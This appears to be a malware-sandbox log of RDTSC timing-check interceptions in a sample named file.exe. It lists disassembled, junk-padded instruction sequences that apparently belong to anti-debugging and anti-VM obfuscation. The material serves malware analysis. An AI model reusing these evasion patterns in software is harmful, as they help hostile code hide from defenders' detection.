Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C90CD second address: 10C90D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8CC4 second address: 10C8CC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8E27 second address: 10C8E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8E2B second address: 10C8E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3383 second address: 10D339C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15206D4F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15206D4F0Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D339C second address: 10D33A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D33A2 second address: 10D33A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D33A8 second address: 10D33B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D33B0 second address: 10D33B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D33B4 second address: 10D33B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D33B8 second address: 10D33C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F15206D4F0Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2C7D second address: 10E2CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1520D32CA9h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c jmp 00007F1520D32C9Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2CA7 second address: 10E2CB1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2CB1 second address: 10E2CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2B2B second address: 10E2B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E706F second address: 10E7075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE366 second address: 10FE36E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE36E second address: 10FE375 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD759 second address: 10FD768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDA7B second address: 10FDA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDA7F second address: 10FDA85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDD66 second address: 10FDD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1520D32C96h 0x0000000a jns 00007F1520D32C96h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDD77 second address: 10FDD81 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102373 second address: 1102385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11025CD second address: 11025D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11025D3 second address: 11025FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1520D32CA7h 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007F1520D32CA8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F1520D32C96h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11025FF second address: 110264D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15206D4F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dh, ah 0x0000000d push 00000004h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F15206D4F08h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 jne 00007F15206D4F0Eh 0x0000002f stc 0x00000030 push 763000F3h 0x00000035 pushad 0x00000036 jo 00007F15206D4F08h 0x0000003c pushad 0x0000003d popad 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110400A second address: 1104010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104010 second address: 1104038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F11h 0x00000009 popad 0x0000000a push esi 0x0000000b push ecx 0x0000000c je 00007F15206D4F06h 0x00000012 jno 00007F15206D4F06h 0x00000018 pop ecx 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106128 second address: 110612E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110612E second address: 1106136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018882 second address: 1018886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018886 second address: 1018890 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15206D4F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018A1F second address: 1018A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1520D32C9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6040B second address: 4E60469 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F15206D4F0Ah 0x00000008 xor ax, 1C28h 0x0000000d jmp 00007F15206D4F0Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 call 00007F15206D4F18h 0x0000001a mov edi, esi 0x0000001c pop eax 0x0000001d popad 0x0000001e mov edx, dword ptr [ebp+0Ch] 0x00000021 jmp 00007F15206D4F0Dh 0x00000026 mov ecx, dword ptr [ebp+08h] 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F15206D4F0Dh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6049F second address: 4E604A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604A3 second address: 4E604A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604A9 second address: 4E604E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 44EF9353h 0x00000008 mov esi, 625611AFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushfd 0x00000017 jmp 00007F1520D32C9Dh 0x0000001c or esi, 735FC716h 0x00000022 jmp 00007F1520D32CA1h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B90E second address: 101B912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80740 second address: 4E80758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1520D32CA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80758 second address: 4E80791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F15206D4F16h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15206D4F0Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80791 second address: 4E807AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cl, bl 0x0000000f mov esi, 6D4668D3h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807AC second address: 4E80812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F15206D4F0Eh 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ecx 0x00000016 pushfd 0x00000017 jmp 00007F15206D4F19h 0x0000001c xor esi, 2A635EA6h 0x00000022 jmp 00007F15206D4F11h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80812 second address: 4E80818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80818 second address: 4E8081C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8081C second address: 4E80830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, 27772806h 0x00000011 push ebx 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80830 second address: 4E80836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80836 second address: 4E8083A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8083A second address: 4E8083E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8083E second address: 4E8088D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a movzx eax, di 0x0000000d pushfd 0x0000000e jmp 00007F1520D32CA9h 0x00000013 sub si, B016h 0x00000018 jmp 00007F1520D32CA1h 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F1520D32C9Dh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8088D second address: 4E808DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F15206D4F17h 0x00000008 pop ecx 0x00000009 mov ah, bl 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov ch, bl 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F15206D4F18h 0x0000001a or ecx, 525598F8h 0x00000020 jmp 00007F15206D4F0Bh 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E808DE second address: 4E80926 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a mov si, bx 0x0000000d pushfd 0x0000000e jmp 00007F1520D32C9Dh 0x00000013 jmp 00007F1520D32C9Bh 0x00000018 popfd 0x00000019 popad 0x0000001a lea eax, dword ptr [ebp-04h] 0x0000001d jmp 00007F1520D32CA6h 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80926 second address: 4E8092A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8092A second address: 4E80947 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80947 second address: 4E809B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 53h 0x00000005 pushfd 0x00000006 jmp 00007F15206D4F18h 0x0000000b add si, 2278h 0x00000010 jmp 00007F15206D4F0Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b mov cx, bx 0x0000001e pushfd 0x0000001f jmp 00007F15206D4F0Bh 0x00000024 xor cl, 0000003Eh 0x00000027 jmp 00007F15206D4F19h 0x0000002c popfd 0x0000002d popad 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov si, bx 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809B2 second address: 4E809C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1520D32CA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809C7 second address: 4E809CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80ABE second address: 4E80ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1520D32CA9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80ADB second address: 4E80026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c pushad 0x0000000d jmp 00007F15206D4F0Ch 0x00000012 pushfd 0x00000013 jmp 00007F15206D4F12h 0x00000018 add si, 1498h 0x0000001d jmp 00007F15206D4F0Bh 0x00000022 popfd 0x00000023 popad 0x00000024 retn 0004h 0x00000027 nop 0x00000028 sub esp, 04h 0x0000002b xor ebx, ebx 0x0000002d cmp eax, 00000000h 0x00000030 je 00007F15206D5055h 0x00000036 xor eax, eax 0x00000038 mov dword ptr [esp], 00000000h 0x0000003f mov dword ptr [esp+04h], 00000000h 0x00000047 call 00007F1524720A5Bh 0x0000004c mov edi, edi 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007F15206D4F0Eh 0x00000055 xor eax, 501F6F38h 0x0000005b jmp 00007F15206D4F0Bh 0x00000060 popfd 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80026 second address: 4E800E0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1520D32CA5h 0x00000008 jmp 00007F1520D32C9Bh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F1520D32CA4h 0x00000019 adc al, FFFFFFF8h 0x0000001c jmp 00007F1520D32C9Bh 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F1520D32CA4h 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F1520D32CA0h 0x0000002f mov ebp, esp 0x00000031 jmp 00007F1520D32CA0h 0x00000036 push FFFFFFFEh 0x00000038 jmp 00007F1520D32CA0h 0x0000003d call 00007F1520D32C99h 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F1520D32CA7h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800E0 second address: 4E800E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800E6 second address: 4E800EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800EA second address: 4E80123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F15206D4F0Ch 0x0000000f mov di, ax 0x00000012 pop ecx 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F15206D4F13h 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80123 second address: 4E8012D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 1E984397h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8012D second address: 4E80148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80148 second address: 4E8014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8014C second address: 4E80166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80166 second address: 4E801B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1520D32CA1h 0x00000009 sub cx, A0D6h 0x0000000e jmp 00007F1520D32CA1h 0x00000013 popfd 0x00000014 mov ah, 4Ch 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1520D32CA5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801B1 second address: 4E801B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801B5 second address: 4E801BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801BB second address: 4E8028A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15206D4F0Ah 0x00000009 or ax, 8158h 0x0000000e jmp 00007F15206D4F0Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F15206D4F18h 0x0000001a sub esi, 4CAE8BB8h 0x00000020 jmp 00007F15206D4F0Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 call 00007F15206D4F09h 0x0000002e jmp 00007F15206D4F16h 0x00000033 push eax 0x00000034 pushad 0x00000035 call 00007F15206D4F11h 0x0000003a push esi 0x0000003b pop edi 0x0000003c pop eax 0x0000003d mov dl, 95h 0x0000003f popad 0x00000040 mov eax, dword ptr [esp+04h] 0x00000044 jmp 00007F15206D4F0Fh 0x00000049 mov eax, dword ptr [eax] 0x0000004b jmp 00007F15206D4F19h 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 jmp 00007F15206D4F11h 0x00000059 pop eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8028A second address: 4E8029D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8029D second address: 4E802B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15206D4F14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80396 second address: 4E803A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1520D32C9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803A8 second address: 4E803AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803AC second address: 4E80404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F1520D32C9Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 push eax 0x00000013 call 00007F1520D32C9Dh 0x00000018 pop ecx 0x00000019 pop edi 0x0000001a mov edx, ecx 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e jmp 00007F1520D32CA8h 0x00000023 push eax 0x00000024 jmp 00007F1520D32C9Bh 0x00000029 xchg eax, edi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80404 second address: 4E8041F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8041F second address: 4E8048A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1520D32C9Fh 0x00000009 xor eax, 6190556Eh 0x0000000f jmp 00007F1520D32CA9h 0x00000014 popfd 0x00000015 mov ecx, 6C68EEF7h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, dword ptr [770E4538h] 0x00000022 jmp 00007F1520D32C9Ah 0x00000027 xor dword ptr [ebp-08h], eax 0x0000002a pushad 0x0000002b mov di, cx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F1520D32CA8h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8048A second address: 4E8048E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8048E second address: 4E8049D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8049D second address: 4E804A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
